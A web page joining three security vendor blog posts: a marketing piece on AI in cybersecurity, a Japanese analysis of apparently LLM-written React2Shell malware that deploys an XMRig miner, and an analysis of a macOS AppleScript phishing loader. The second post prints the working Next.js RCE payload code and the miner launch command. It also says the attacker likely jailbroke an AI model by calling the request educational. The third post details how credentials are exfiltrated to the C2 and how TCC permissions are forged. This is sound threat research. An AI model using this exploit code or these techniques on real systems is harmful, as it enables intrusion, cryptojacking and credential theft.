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November 25, 2024

Why Artificial Intelligence is the Future of Cybersecurity

This blog explores the impact of AI on the threat landscape, the benefits of AI in cybersecurity, and the role it plays in enhancing security practices and tools.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Brittany Woodsmall
Product Marketing Manager, AI
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25
Nov 2024

Introduction: AI & Cybersecurity

In the wake of artificial intelligence (AI) becoming more commonplace, it’s no surprise to see that threat actors are also adopting the use of AI in their attacks at an accelerated pace. AI enables augmentation of complex tasks such as spear-phishing, deep fakes, polymorphic malware generation, and advanced persistent threat (APT) campaigns, which significantly enhances the sophistication and scale of their operations. This has put security professionals in a reactive state, struggling to keep pace with the proliferation of threats.

As AI reshapes the future of cyber threats, defenders are also looking to integrate AI technologies into their security stack. Adopting AI-powered solutions in cybersecurity enables security teams to detect and respond to these advanced threats more quickly and accurately as well as automate traditionally manual and routine tasks. According to research done by Darktrace in the 2024 State of AI Cybersecurity Report improving threat detection, identifying exploitable vulnerabilities, and automating low level security tasks were the top three ways practitioners saw AI enhancing their security team’s capabilities [1], underscoring the wide-ranging capabilities of AI in cyber.  

In this blog, we will discuss how AI has impacted the threat landscape, the rise of generative AI and AI adoption in security tools, and the importance of using multiple types of AI in cybersecurity solutions for a holistic and proactive approach to keeping your organization safe.  

The impact of AI on the threat landscape

The integration of AI and cybersecurity has brought about significant advancements across industries. However, it also introduces new security risks that challenge traditional defenses.  Three major concerns with the misuse of AI being leveraged by adversaries are: (1) the increase of novel social engineering attacks that are harder to detect and able to bypass traditional security tools,  (2) the ease of access for less experienced threat actors to now deliver advanced attacks at speed and scale and (3) the attacking of AI itself, to include machine learning models, data corpuses and APIs or interfaces.

In the context of social engineering, AI can be used to create more convincing phishing emails, conduct advanced reconnaissance, and simulate human-like interactions to deceive victims more effectively. Generative AI tools, such as ChatGPT, are already being used by adversaries to craft these sophisticated phishing emails, which can more aptly mimic human semantics without spelling or grammatical error and include personal information pulled from internet sources such as social media profiles. And this can all be done at machine speed and scale. In fact, Darktrace researchers observed a 135% rise in ‘novel social engineering attacks’ across Darktrace / EMAIL customers in 2023, corresponding to the widespread adoption and use of ChatGPT [2].  

Furthermore, these sophisticated social engineering attacks are now able to circumvent traditional security tools. In between December 21, 2023, and July 5, 2024, Darktrace / EMAIL detected 17.8 million phishing emails across the fleet, with 62% of these phishing emails successfully bypassing Domain-based Message Authentication, Reporting, and Conformance (DMARC) verification checks [2].  

And while the proliferation of novel attacks fueled by AI is persisting, AI also lowers the barrier to entry for threat actors. Publicly available AI tools make it easy for adversaries to automate complex tasks that previously required advanced technical skills. Additionally, AI-driven platforms and phishing kits available on the dark web provide ready-made solutions, enabling even novice attackers to execute effective cyber campaigns with minimal effort.

The impact of adversarial use of AI on the ever-evolving threat landscape is important for organizations to understand as it fundamentally changes the way we must approach cybersecurity. However, while the intersection of cybersecurity and AI can have potentially negative implications, it is important to recognize that AI can also be used to help protect us.

A generation of generative AI in cybersecurity

When the topic of AI in cybersecurity comes up, it’s typically in reference to generative AI, which became popularized in 2023. While it does not solely encapsulate what AI cybersecurity is or what AI can do in this space, it’s important to understand what generative AI is and how it can be implemented to help organizations get ahead of today’s threats.  

Generative AI (e.g., ChatGPT or Microsoft Copilot) is a type of AI that creates new or original content. It has the capability to generate images, videos, or text based on information it learns from large datasets. These systems use advanced algorithms and deep learning techniques to understand patterns and structures within the data they are trained on, enabling them to generate outputs that are coherent, contextually relevant, and often indistinguishable from human-created content.

For security professionals, generative AI offers some valuable applications. Primarily, it’s used to transform complex security data into clear and concise summaries. By analyzing vast amounts of security logs, alerts, and technical data, it can contextualize critical information quickly and present findings in natural, comprehensible language. This makes it easier for security teams to understand critical information quickly and improves communication with non-technical stakeholders. Generative AI can also automate the creation of realistic simulations for training purposes, helping security teams prepare for various cyberattack scenarios and improve their response strategies.  

Despite its advantages, generative AI also has limitations that organizations must consider. One challenge is the potential for generating false positives, where benign activities are mistakenly flagged as threats, which can overwhelm security teams with unnecessary alerts. Moreover, implementing generative AI requires significant computational resources and expertise, which may be a barrier for some organizations. It can also be susceptible to prompt injection attacks and there are risks with intellectual property or sensitive data being leaked when using publicly available generative AI tools.  In fact, according to the MIT AI Risk Registry, there are potentially over 700 risks that need to be mitigated with the use of generative AI.

Generative AI impact on cyber attacks screenshot data sheet

For more information on generative AI's impact on the cyber threat landscape download the Darktrace Data Sheet

Beyond the Generative AI Glass Ceiling

Generative AI has a place in cybersecurity, but security professionals are starting to recognize that it’s not the only AI organizations should be using in their security tool kit. In fact, according to Darktrace’s State of AI Cybersecurity Report, “86% of survey participants believe generative AI alone is NOT enough to stop zero-day threats.” As we look toward the future of AI in cybersecurity, it’s critical to understand that different types of AI have different strengths and use cases and choosing the technologies based on your organization’s specific needs is paramount.

There are a few types of AI used in cybersecurity that serve different functions. These include:

Supervised Machine Learning: Widely used in cybersecurity due to its ability to learn from labeled datasets. These datasets include historical threat intelligence and known attack patterns, allowing the model to recognize and predict similar threats in the future. For example, supervised machine learning can be applied to email filtering systems to identify and block phishing attempts by learning from past phishing emails. This is human-led training facilitating automation based on known information.  

Large Language Models (LLMs): Deep learning models trained on extensive datasets to understand and generate human-like text. LLMs can analyze vast amounts of text data, such as security logs, incident reports, and threat intelligence feeds, to identify patterns and anomalies that may indicate a cyber threat. They can also generate detailed and coherent reports on security incidents, summarizing complex data into understandable formats.

Natural Language Processing (NLP): Involves the application of computational techniques to process and understand human language. In cybersecurity, NLP can be used to analyze and interpret text-based data, such as emails, chat logs, and social media posts, to identify potential threats. For instance, NLP can help detect phishing attempts by analyzing the language used in emails for signs of deception.

Unsupervised Machine Learning: Continuously learns from raw, unstructured data without predefined labels. It is particularly useful in identifying new and unknown threats by detecting anomalies that deviate from normal behavior. In cybersecurity, unsupervised learning can be applied to network traffic analysis to identify unusual patterns that may indicate a cyberattack. It can also be used in endpoint detection and response (EDR) systems to uncover previously unknown malware by recognizing deviations from typical system behavior.

Types of AI in cybersecurity
Figure 1: Types of AI in cybersecurity

Employing multiple types of AI in cybersecurity is essential for creating a layered and adaptive defense strategy. Each type of AI, from supervised and unsupervised machine learning to large language models (LLMs) and natural language processing (NLP), brings distinct capabilities that address different aspects of cyber threats. Supervised learning excels at recognizing known threats, while unsupervised learning uncovers new anomalies. LLMs and NLP enhance the analysis of textual data for threat detection and response and aid in understanding and mitigating social engineering attacks. By integrating these diverse AI technologies, organizations can achieve a more holistic and resilient cybersecurity framework, capable of adapting to the ever-evolving threat landscape.

A Multi-Layered AI Approach with Darktrace

AI-powered security solutions are emerging as a crucial line of defense against an AI-powered threat landscape. In fact, “Most security stakeholders (71%) are confident that AI-powered security solutions will be better able to block AI-powered threats than traditional tools.” And 96% agree that AI-powered solutions will level up their organization’s defenses.  As organizations look to adopt these tools for cybersecurity, it’s imperative to understand how to evaluate AI vendors to find the right products as well as build trust with these AI-powered solutions.  

Darktrace, a leader in AI cybersecurity since 2013, emphasizes interpretability, explainability, and user control, ensuring that our AI is understandable, customizable and transparent. Darktrace’s approach to cyber defense is rooted in the belief that the right type of AI must be applied to the right use cases. Central to this approach is Self-Learning AI, which is crucial for identifying novel cyber threats that most other tools miss. This is complemented by various AI methods, including LLMs, generative AI, and supervised machine learning, to support the Self-Learning AI.  

Darktrace focuses on where AI can best augment the people in a security team and where it can be used responsibly to have the most positive impact on their work. With a combination of these AI techniques, applied to the right use cases, Darktrace enables organizations to tailor their AI defenses to unique risks, providing extended visibility across their entire digital estates with the Darktrace ActiveAI Security Platform™.

Credit to: Ed Metcalf, Senior Director Product Marketing, AI & Innovations - Nicole Carignan VP of Strategic Cyber AI for their contribution to this blog.

CISOs guide to buying AI white paper cover

To learn more about Darktrace and AI in cybersecurity download the CISO’s Guide to Cyber AI here.

Download the white paper to learn how buyers should approach purchasing AI-based solutions. It includes:

  • Key steps for selecting AI cybersecurity tools
  • Questions to ask and responses to expect from vendors
  • Understand tools available and find the right fit
  • Ensure AI investments align with security goals and needs
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Brittany Woodsmall
Product Marketing Manager, AI

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February 12, 2026

AI/LLMで生成されたマルウェアを使ったReact2Shellエクスプロイト

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はじめに

敵対者の行動をリアルタイムに観測するため、ダークトレースは“CloudyPots” と呼ばれるグローバルなハニーポットネットワークを運用しています。CloudyPotsは幅広いサービス、プロトコル、クラウドプラットフォームに渡って悪意あるアクティビティを捕捉するように設計されています。こうしたハニーポットはインターネットに接続されているインフラを狙う脅威のテクニック、ツール、マルウェアについて貴重な情報を提供してくれます。

最近観測されたダークトレースのCloudypots環境に対する侵入インシデントは、React2Shell 脆弱性をエクスプロイトする完全にAI生成のマルウェアを明らかにしました、AI 支援ソフトウェア開発(“vibecoding”とも呼ばれます)が広く普及するにつれ、攻撃者はますます大規模言語モデルを使って迅速にツールを開発するようになっています。このインシデントは状況の大きな変化を表しています。AIによって、今では低スキルのオペレーターであっても効果的なエクスプロイトのフレームワークを短期間に作りだすことが可能となっているのです。このブログでは、攻撃チェーンを精査し、AI生成ペイロードを分析し、この変化が防御者にとって何を意味するかを解説します。

初期アクセス

ダークトレースのdockerハニーポットに対して侵入が観測されました。これは意図的にDockerデーモンを認証なしでインターネットに露出させています。この設定により任意の攻撃者がデーモンを発見しDocker APIを通じてコンテナを作成することが可能です。 

攻撃者は“python-metrics-collector”という名前のコンテナを生成しました。これにはcurl、wget、python 3を含む必要ツールを最初にインストールするスタートアップコマンドが設定されていました。

Container spawned with the name ‘python-metrics-collector’.
図1:‘python-metrics-collector’ という名前で生成されたコンテナ

次に、必要な一連のpythonパッケージを次からダウンロードします

  • hxxps://pastebin[.]com/raw/Cce6tjHM,

最後に次からpythonスクリプトをダウンロードして実行します

  • hxxps://smplu[.]link/dockerzero.

このリンクは“hackedyoulol”がホストするGitHub Gistにリダイレクトされますが、このアカウントは本ブログ執筆時点でGitHubから利用停止措置を受けています。

  • hxxps://gist.githubusercontent[.]com/hackedyoulol/141b28863cf639c0a0dd563344101f24/raw/07ddc6bb5edac4e9fe5be96e7ab60eda0f9376c3/gistfile1.txt

注目すべき点は、dockerを狙ったマルウェアであるにもかかわらずこのスクリプトにdockerスプレッダーが含まれていなかったことです。これは、感染の拡大が別に中央管理されたスプレッダーサーバーで処理されている可能性が高いことを示しています。

展開されたコンポーネントと実行チェーン

ダウンロードされたPythonペイロードは侵入のための中心的な実行コンポーネントでした。マルウェア自体が難読化設計となっており、エクスプロイトスクリプトと拡散メカニズムの間でこの難読化が強化されていました。dockerマルウェアには通常、自身のスプレッダーロジックが含まれているため、これが欠けているということは攻撃者が拡散専用のツールをリモートで管理し、実行していることを示唆しています。

スクリプトは複数行のコメントで始まっています:
"""
   Network Scanner with Exploitation Framework
   Educational/Research Purpose Only
   Docker-compatible: No external dependencies except requests
"""

これは非常に多くのことを語っています。当社が分析したサンプルのほとんどではファイル内にこのレベルのコメントは含まれていません。多くの場合それらは分析を阻害するために意図的に理解しにくく設計されています。人間のオペレーターが短時間に記述したスクリプトはたいていの場合わかりやすさよりもスピードと機能を優先しています。一方、LLMはすべてのコードに対して詳しくコメントを記録するよう設計されており、このサンプルにも繰り返しこのパターンが表れています。 さらに、AIはそのセーフガードの一環としてマルウェアの生成を拒否します。

さらに、“Educational/ResearchPurpose Only(教育/研究目的専用)” というフレーズが含まれていることは、攻撃者が悪意ある要求を教育目的と偽ることによって、AIモデルのジェイルブレイクを行ったことを示唆しています。

さらにスクリプトの一部をAI 検知ソフトウェアでテストしたところ、その出力結果はコードがおそらくLLMによって生成されているということを示していました。

GPTZero AI-detection results indicating that the script was likely generated using an AI model.
図2:GPTZeroによるAI検知の結果は、スクリプトがAIモデルを使って生成された可能性を示しています。

スクリプトはよくできたReact2Shellエクスプロイトツールキットであり、リモートコード実行を行いXMRig (Monero) 暗号通貨マイニングマルウェアを展開しようとするものです。 IP生成ループを使って標的を見つけだし、以下を含むエクスプロイトリクエストを実行します:

  • 念入りに構成されたNext.jsサーバーコンポーネントペイロード
  • 実行を強制しコマンド出力を明らかにするよう設計されたチャンク
  • 任意のシェルコマンドを実行する子プロセス起動

  def execute_rce_command(base_url, command, timeout=120):  
   """ ACTUAL EXPLOIT METHOD - Next.js React Server Component RCE
   DO NOT MODIFY THIS FUNCTION
   Returns: (success, output)  
   """  
try: # Disable SSL warnings     urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

 crafted_chunk = {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',
      "_response": {
          "_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}', {{encoding: 'utf8', maxBuffer: 50 * 1024 * 1024, stdio: ['pipe', 'pipe', 'pipe']}}).toString(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
          "_formData": {
              "get": "$1:constructor:constructor",
          },
      },
  }

  files = {
      "0": (None, json.dumps(crafted_chunk)),
      "1": (None, '"$@0"'),
  }

  headers = {"Next-Action": "x"}

  res = requests.post(base_url, files=files, headers=headers, timeout=timeout, verify=False)

この関数は最初 ‘whoami’を使って起動され、ホストが脆弱かどうかを判断し、次にwgetを使ってGitHubレポジトリからXMRigをダウンロードし、設定されたマイニングツールとウォレットアドレスを指定してこれを起動します。

]\

WALLET = "45FizYc8eAcMAQetBjVCyeAs8M2ausJpUMLRGCGgLPEuJohTKeamMk6jVFRpX4x2MXHrJxwFdm3iPDufdSRv2agC5XjykhA"
XMRIG_VERSION = "6.21.0"
POOL_PORT_443 = "pool.supportxmr.com:443"
...
print_colored(f"[EXPLOIT] Starting miner on {identifier} (port 443)...", 'cyan')  
miner_cmd = f"nohup xmrig-{XMRIG_VERSION}/xmrig -o {POOL_PORT_443} -u {WALLET} -p {worker_name} --tls -B >/dev/null 2>&1 &"

success, _ = execute_rce_command(base_url, miner_cmd, timeout=10)

多くの攻撃者が気づいていないことは、Moneroでは不透明なブロックチェーン(トランザクションを追跡できずウォレット残高が閲覧できない)が使われているものの、supportxmr等のマイニングプールは各ウォレットのアドレスに対する統計情報を公開していることです。これによりキャンペーンの成功と攻撃者の利益を追跡することは簡単に行えます。

 The supportxmr mining pool overview for the attackers wallet address
図3:supportxmrマイニングツールに表示される攻撃者のウォレットアドレス概要

この情報に基づき、この攻撃者はキャンペーン開始以来0.015 XMRを得ましたがこれは本ブログ執筆時点で5ポンド程度です。1日あたり、攻撃者は0.004 XMRを生成しており、これは1.33ポンドの価値です。ワーカー数は91であり、91のホストがこのサンプルに感染していることを意味しています。

まとめ

攻撃者が生成した金額はこのケースでは比較的少額であり、暗号通貨マイニングは新しいテクニックとは言えませんが、このキャンペーンはAIベースのLLMがサイバー犯罪を容易にした実例です。モデルとの1度のプロンプトセッションで、この攻撃者は機能するエクスプロイトフレームワークを生成し、90以上のホストを侵害することができています。これはAIベースのLLMによってサイバー犯罪がこれまで以上に簡単になったことを実証しており、攻撃者にとってのAIのオペレーション上の価値は過小評価されるべきではないことを示しています。

CISOおよびSOCのリーダーは、このインシデントを近い将来起こり得ることとして想定すべきです。脅威アクターは、今やオンデマンドでカスタムマルウェアを生成し、エクスプロイトを即座に改変し、侵害のすべての段階を自動化することができます。防御者は、迅速なパッチ適用、継続的なアタックサーフェスの監視、およびビヘイビアベースの検知アプローチを優先的に進める必要があります。AI 生成されたマルウェアはもはや理論上のものではなく、実際に運用されており、スケーラブルで、誰でもアクセスできるものなのです。

アナリストのコメント

ダウンロードされたスクリプトにDockerスプレッダーが含まれていないように見えることが注目に値します。これはこのマルウェアが感染したホストから他の被害者に複製されないことを意味しています。これはダークトレースの調査チームが分析した他のサンプルと比較して、Dockerマルウェアではあまりないことです。これは拡散のための別のスクリプトがあることを示しており、おそらく攻撃者が中央のスプレッダーサーバーから展開するものと思われます。この推論は接続を開始したIP、49[.]36.33.11が、インドの一般住宅用ISPに登録されていることからも成り立ちます。攻撃者が住宅用プロキシサーバーを使って形跡を隠している可能性もありますが、彼らの自宅のコンピューターから拡散用スクリプトを実行していることも考えられます。しかしこれは確認済みのアトリビューションと理解するべきではありません。

担当:Nathaniel Bill (Malware Research Engineer)、Nathaniel Jones (Nathaniel Jones, VP Threat Research | Field CISO AISecurity)

侵害インジケータ(IoC)

Spreader IP - 49[.]36.33.11
Malware host domain - smplu[.]link
Hash - 594ba70692730a7086ca0ce21ef37ebfc0fd1b0920e72ae23eff00935c48f15b
Hash 2 - d57dda6d9f9ab459ef5cc5105551f5c2061979f082e0c662f68e8c4c343d667d

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About the author
Nathaniel Bill
Malware Research Engineer

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February 9, 2026

AppleScript Abuse: Unpacking a macOS Phishing Campaign

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Introduction

Darktrace security researchers have identified a campaign targeting macOS users through a multistage malware campaign that leverages social engineering and attempted abuse of the macOS Transparency, Consent and Control (TCC) privacy feature.

The malware establishes persistence via LaunchAgents and deploys a modular Node.js loader capable of executing binaries delivered from a remote command-and-control (C2) server.

Due to increased built-in security mechanisms in macOS such as System Integrity Protection (SIP) and Gatekeeper, threat actors increasingly rely on alternative techniques, including fake software and ClickFix attacks [1] [2]. As a result, macOS threats r[NJ1] ely more heavily on social engineering instead of vulnerability exploitation to deliver payloads, a trend Darktrace has observed across the threat landscape [3].

Technical analysis

The infection chain starts with a phishing email that prompts the user to download an AppleScript file named “Confirmation_Token_Vesting.docx.scpt”, which attemps to masquerade as a legitimate Microsoft document.

The AppleScript header prompting execution of the script.
Figure 1: The AppleScript header prompting execution of the script.

Once the user opens the AppleScript file, they are presented with a prompt instructing them to run the script, supposedly due to “compatibility issues”. This prompt is necessary as AppleScript requires user interaction to execute the script, preventing it from running automatically. To further conceal its intent, the malicious part of the script is buried below many empty lines, assuming a user likely will not to the end of the file where the malicious code is placed.

Curl request to receive the next stage.
Figure 2: Curl request to receive the next stage.

This part of the script builds a silent curl request to “sevrrhst[.]com”, sending the user’s macOS operating system, CPU type and language. This request retrieves another script, which is saved as a hidden file at in ~/.ex.scpt, executed, and then deleted.

The retrieved payload is another AppleScript designed to steal credentials and retrieve additional payloads. It begins by loading the AppKit framework, which enables the script to create a fake dialog box prompting the user to enter their system username and password [4].

 Fake dialog prompt for system password.
Figure 3: Fake dialog prompt for system password.

The script then validates the username and password using the command "dscl /Search -authonly <username> <password>", all while displaying a fake progress bar to the user. If validation fails, the dialog window shakes suggesting an incorrect password and prompting the user to try again. The username and password are then encoded in Base64 and sent to: https://sevrrhst[.]com/css/controller.php?req=contact&ac=<user>&qd=<pass>.

Figure 4: Requirements gathered on trusted binary.

Within the getCSReq() function, the script chooses from trusted Mac applications: Finder, Terminal, Script Editor, osascript, and bash. Using the codesign command codesign -d --requirements, it extracts the designated code-signing requirement from the target application. If a valid requirement cannot be retrieved, that binary is skipped. Once a designated requirement is gathered, it is then compiled into a binary trust object using the Code Signing Requirement command (csreq). This trust object is then converted into hex so it can later be injected into the TCC SQLite database.[NB2]

To bypass integrity checks, the TCC directory is renamed to com.appled.tcc using Finder. TCC is a macOS privacy framework designed to restrict application access to sensitive data, requiring users to explicitly grant permissions before apps can access items such as files, contacts, and system resources [1].

Example of how users interact with TCC.
Figure 5: TCC directory renamed to com.appled.TCC.
Figure 6: Example of how users interact with TCC.

After the database directory rename is attempted, the killall command is used on the tccd daemon to force macOS to release the lock on the database. The database is then injected with the forged access records, including the service, trusted binary path, auth_value, and the forged csreq binary. The directory is renamed back to com.apple.TCC, allowing the injected entries to be read and the permissions to be accepted. This enables persistence authorization for:

  • Full disk access
  • Screen recording
  • Accessibility
  • Camera
  • Apple Events 
  • Input monitoring

The malware does not grant permissions to itself; instead, it forges TCC authorizations for trusted Apple-signed binaries (Terminal, osascript, Script Editor, and bash) and then executes malicious actions through these binaries to inherit their permissions.

Although the malware is attempting to manipulate TCC state via Finder, a trusted system component, Apple has introduced updates in recent macOS versions that move much of the authorization enforcement into the tccd daemon. These updates prevent unauthorized permission modifications through directory or database manipulation. As a result, the script may still succeed on some older operating systems, but it is likely to fail on newer installations, as tcc.db reloads now have more integrity checks and will fail on Mobile Device Management (MDM) [NB5] systems as their profiles override TCC.

 Snippet of decoded Base64 response.
Figure 7: Snippet of decoded Base64 response.

A request is made to the C2, which retrieves and executes a Base64-encoded script. This script retrieves additional payloads based on the system architecture and stores them inside a directory it creates named ~/.nodes. A series of requests are then made to sevrrhst[.]com for:

/controller.php?req=instd

/controller.php?req=tell

/controller.php?req=skip

These return a node archive, bundled Node.js binary, and a JavaScript payload. The JavaScript file, index.js, is a loader that profiles the system and sends the data to the C2. The script identified the system platform, whether macOS, Linux or Windows, and then gathers OS version, CPU details, memory usage, disk layout, network interfaces, and running process. This is sent to https://sevrrhst[.]com/inc/register.php?req=init as a JSON object. The victim system is then registered with the C2 and will receive a Base64-encoded response.

LaunchAgent patterns to be replaced with victim information.
Figure 8: LaunchAgent patterns to be replaced with victim information.

The Base64-encoded response decodes to an additional Javacript that is used to set up persistence. The script creates a folder named com.apple.commonjs in ~/Library and copies the Node dependencies into this directory. From the C2, the files package.json and default.js are retrieved and placed into the com.apple.commonjs folder. A LaunchAgent .plist is also downloaded into the LaunchAgents directory to ensure the malware automatically starts. The .plist launches node and default.js on load, and uses output logging to log errors and outputs.

Default.js is Base64 encoded JavaScript that functions as a command loop, periodically sending logs to the C2, and checking for new payloads to execute. This gives threat actors ongoing and the ability to dynamically modify behavior without having to redeploy the malware. A further Base64-encoded JavaScript file is downloaded as addon.js.

Addon.js is used as the final payload loader, retrieving a Base64-encoded binary from https://sevrrhst[.]com/inc/register.php?req=next. The binary is decoded from Base64 and written to disk as “node_addon”, and executed silently in the background. At the time of analysis, the C2 did not return a binary, possibly because certain conditions were not met.  However, this mechanism enables the delivery and execution of payloads. If the initial TCC abuse were successful, this payload could access protected resources such as Screen Capture and Camera without triggering a consent prompt, due to the previously established trust.

Conclusion

This campaign shows how a malicious threat actor can use an AppleScript loader to exploit user trust and manipulate TCC authorization mechanisms, achieving persistent access to a target network without exploiting vulnerabilities.

Although recent macOS versions include safeguards against this type of TCC abuse, users should keep their systems fully updated to ensure the most up to date protections.  These findings also highlight the intentions of threat actors when developing malware, even when their implementation is imperfect.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

88.119.171[.]59

sevrrhst[.]com

https://sevrrhst[.]com/inc/register.php?req=next

https://stomcs[.]com/inc/register.php?req=next
https://techcross-es[.]com

Confirmation_Token_Vesting.docx.scpt - d3539d71a12fe640f3af8d6fb4c680fd

EDD_Questionnaire_Individual_Blank_Form.docx.scpt - 94b7392133935d2034b8169b9ce50764

Investor Profile (Japan-based) - Shiro Arai.pdf.scpt - 319d905b83bf9856b84340493c828a0c

MITRE ATTACK

T1566 - Phishing

T1059.002 - Command and Scripting Interpreter: Applescript

T1059.004 – Command and Scripting Interpreter: Unix Shell

T1059.007 – Command and Scripting Interpreter: JavaScript

T1222.002 – File and Directory Permissions Modification

T1036.005 – Masquerading: Match Legitimate Name or Location

T1140 – Deobfuscate/Decode Files or Information

T1547.001 – Boot or Logon Autostart Execution: Launch Agent

T1553.006 – Subvert Trust Controls: Code Signing Policy Modification

T1082 – System Information Discovery

T1057 – Process Discovery

T1105 – Ingress Tool Transfer

References

[1] https://www.darktrace.com/blog/from-the-depths-analyzing-the-cthulhu-stealer-malware-for-macos

[2] https://www.darktrace.com/blog/unpacking-clickfix-darktraces-detection-of-a-prolific-social-engineering-tactic

[3] https://www.darktrace.com/blog/crypto-wallets-continue-to-be-drained-in-elaborate-social-media-scam

[4] https://developer.apple.com/documentation/appkit

[5] https://www.huntress.com/blog/full-transparency-controlling-apples-tcc

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About the author
Tara Gould
Malware Research Lead
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